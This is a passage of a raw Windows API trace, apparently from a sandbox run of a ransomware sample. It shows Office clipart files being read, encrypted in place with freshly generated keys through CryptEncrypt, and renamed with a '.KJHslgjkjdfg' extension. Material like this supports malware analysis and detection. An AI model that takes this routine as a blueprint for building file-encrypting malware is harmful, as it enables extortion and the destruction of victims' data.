lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0188.637] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0188.637] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0188.637] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0188.637] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0188.637] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0188.637] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.637] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x64c7, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x64c7, lpOverlapped=0x0) returned 1 [0188.638] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x64d0, dwBufLen=0x64d0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x64d0) returned 1 [0188.638] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.638] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x64d0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x64d0, lpOverlapped=0x0) returned 1 [0188.638] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0188.638] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x65a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.639] SetEndOfFile (hFile=0x114) returned 1 [0188.641] GetProcessHeap () returned 0x2a0000 [0188.641] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0188.641] GetProcessHeap () returned 0x2a0000 [0188.641] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0188.641] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02750G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02750g.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02750G.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02750g.gif.kjhslgjkjdfg")) returned 1 [0188.642] CloseHandle (hObject=0x114) returned 1 [0188.642] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x105ca100, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x5a425410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x105ca100, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x16f40, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH02750U.BMP", cAlternateFileName="")) returned 1 [0188.643] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02750U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02750u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0188.643] GetProcessHeap () returned 0x2a0000 [0188.644] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0188.644] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0188.644] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0188.644] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0188.644] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0188.644] GetProcessHeap () returned 0x2a0000 [0188.644] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0188.644] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0188.644] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0188.644] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0188.646] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0188.646] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0188.646] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0188.646] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0188.646] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0188.646] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0188.646] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0188.646] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.646] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x16f40, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x16f40, lpOverlapped=0x0) returned 1 [0188.648] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x16f40, dwBufLen=0x16f40 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x16f40) returned 1 [0188.649] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.649] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x16f40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x16f40, lpOverlapped=0x0) returned 1 [0188.649] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0188.649] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x17014, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.649] SetEndOfFile (hFile=0x114) returned 1 [0188.652] GetProcessHeap () returned 0x2a0000 [0188.652] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0188.652] GetProcessHeap () returned 0x2a0000 [0188.652] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0188.652] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02750U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02750u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02750U.BMP.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02750u.bmp.kjhslgjkjdfg")) returned 1 [0188.654] CloseHandle (hObject=0x114) returned 1 [0188.654] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca500f00, ftCreationTime.dwHighDateTime=0x1bd4e4b, ftLastAccessTime.dwLowDateTime=0x5a425410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca500f00, ftLastWriteTime.dwHighDateTime=0x1bd4e4b, nFileSizeHigh=0x0, nFileSizeLow=0xc382, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH02752G.GIF", cAlternateFileName="")) returned 1 [0188.654] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02752G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02752g.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0188.655] GetProcessHeap () returned 0x2a0000 [0188.656] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0188.656] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0188.656] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0188.656] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xe, lpOverlapped=0x0) returned 1 [0188.659] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0188.659] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0188.659] GetProcessHeap () returned 0x2a0000 [0188.659] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0188.659] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0188.659] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0188.659] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0188.659] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0188.659] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0188.660] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0188.660] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0188.660] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0188.660] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0188.660] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0188.660] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.660] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xc382, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xc382, lpOverlapped=0x0) returned 1 [0188.661] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xc390, dwBufLen=0xc390 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xc390) returned 1 [0188.661] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.661] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xc390, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xc390, lpOverlapped=0x0) returned 1 [0188.662] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0188.662] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xc464, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.662] SetEndOfFile (hFile=0x114) returned 1 [0188.664] GetProcessHeap () returned 0x2a0000 [0188.664] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0188.664] GetProcessHeap () returned 0x2a0000 [0188.664] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0188.664] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02752G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02752g.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02752G.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02752g.gif.kjhslgjkjdfg")) returned 1 [0188.666] CloseHandle (hObject=0x114) returned 1 [0188.666] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88769700, ftCreationTime.dwHighDateTime=0x1bd4e52, ftLastAccessTime.dwLowDateTime=0x6ce95a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x88769700, ftLastWriteTime.dwHighDateTime=0x1bd4e52, nFileSizeHigh=0x0, nFileSizeLow=0x7c08, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH02752U.BMP", cAlternateFileName="")) returned 1 [0188.666] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02752U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02752u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0188.667] GetProcessHeap () returned 0x2a0000 [0188.667] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0188.667] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0188.667] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0188.667] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0188.669] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0188.669] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0188.669] GetProcessHeap () returned 0x2a0000 [0188.669] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0188.669] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0188.669] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0188.669] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0188.670] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0188.670] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0188.670] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0188.670] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0188.670] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0188.670] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0188.670] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0188.670] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.670] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x7c08, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x7c08, lpOverlapped=0x0) returned 1 [0188.671] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7c10, dwBufLen=0x7c10 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7c10) returned 1 [0188.671] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.671] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x7c10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x7c10, lpOverlapped=0x0) returned 1 [0188.672] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0188.672] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x7ce4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.672] SetEndOfFile (hFile=0x114) returned 1 [0188.674] GetProcessHeap () returned 0x2a0000 [0188.674] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0188.674] GetProcessHeap () returned 0x2a0000 [0188.674] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0188.674] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02752U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02752u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02752U.BMP.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02752u.bmp.kjhslgjkjdfg")) returned 1 [0188.676] CloseHandle (hObject=0x114) returned 1 [0188.676] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xece62600, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x5a425410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xece62600, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x1a6b8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH02753U.BMP", cAlternateFileName="")) returned 1 [0188.676] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02753U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02753u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0188.678] GetProcessHeap () returned 0x2a0000 [0188.678] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0188.678] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0188.678] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0188.678] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0188.681] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0188.681] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0188.681] GetProcessHeap () returned 0x2a0000 [0188.681] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0188.681] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0188.681] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0188.681] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0188.681] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0188.681] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0188.681] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0188.681] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0188.681] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0188.681] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0188.681] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0188.681] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.681] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1a6b8, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1a6b8, lpOverlapped=0x0) returned 1 [0188.683] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1a6c0, dwBufLen=0x1a6c0 | out: pbData=0x26c0020*, 